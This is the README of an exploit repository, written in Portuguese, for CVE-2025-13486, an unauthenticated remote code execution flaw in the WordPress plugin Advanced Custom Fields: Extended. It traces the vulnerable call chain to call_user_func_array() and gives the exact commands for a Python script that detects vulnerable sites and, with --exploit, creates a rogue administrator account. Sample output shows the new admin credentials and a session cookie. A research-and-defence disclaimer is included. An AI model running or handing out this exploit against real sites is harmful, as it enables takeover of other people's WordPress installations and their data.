
CVE-2025-13486 - Remote Code Execution & Privilege Escalation exploit
Exploit para o CVE-2025-13486 descoberto por Marcin Dudek (dudekmar)
Este repositório é fornecido apenas para fins de pesquisa e defesa de segurança. O autor não assume qualquer responsabilidade pelo uso indevido destas informações.
O plugin Advanced Custom Fields: Extended (ACFE) para WordPress é vulnerável a Execução Remota de Código (RCE) nas versões 0.9.0.5 a 0.9.1.1.
A vulnerabilidade existe na função prepare_form(), que aceita entrada controlada pelo utilizador e a encaminha para call_user_func_array() sem validação adequada.
Isto permite que atacantes não autenticados executem código PHP arbitrário no servidor de forma limitada, mas suficiente para criar uma conta de administrador e fazer login.
A cadeia de vulnerabilidades é a seguinte:
includes/modules/form/module-form-front.php:24 -> A ação wp_ajax_nopriv_acfe/form/render_form_ajax aciona o manipulador render_form_ajax.
includes/modules/form/module-form-front.php:492 -> O filtro acfe/form/prepare_form é aplicado, invocando a função prepare_form().
includes/modules/form/module-form-front-render.php:151 -> Os dados $form controlados pelo utilizador são passados diretamente para call_user_func_array().
Instalar dependências Python:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
Identificar um alvo WordPress vulnerável.
O alvo deve conter uma página com um formulário gerado pelo ACFE.
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2
Exemplo de saída:
[2025-12-19] [11:00:46] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:03:30] [info] Use `--exploit` to perform exploitation.
Executar o script novamente com a flag --exploit:
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2 --exploit
Exemplo de saída:
[2025-12-19] [11:00:13] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:00:13] [success] ACFE nonce found: c5d75e0d16
[2025-12-19] [11:00:14] [success] Account created: adm1n:2c5c87a94a2c5c87a94a (administrator)
[2025-12-19] [11:00:14] [success] Authentication succeded!
[2025-12-19] [11:00:14] [info] Cookie: wordpress_4411def9d576984c8d78253236b2a62f=adm1n%7C1766311214%7CwVDbFsbQpjYMM6ckgEQ6gwr6dcjIRhmqYed7Y46YqHJ%7C2f7857614d5ebe1216922dab79c3a8be7164cccde0869e1545f3bfb17c5d2859
Usar o cookie de autenticação WordPress retornado para fazer login como a conta de administrador recém-criada.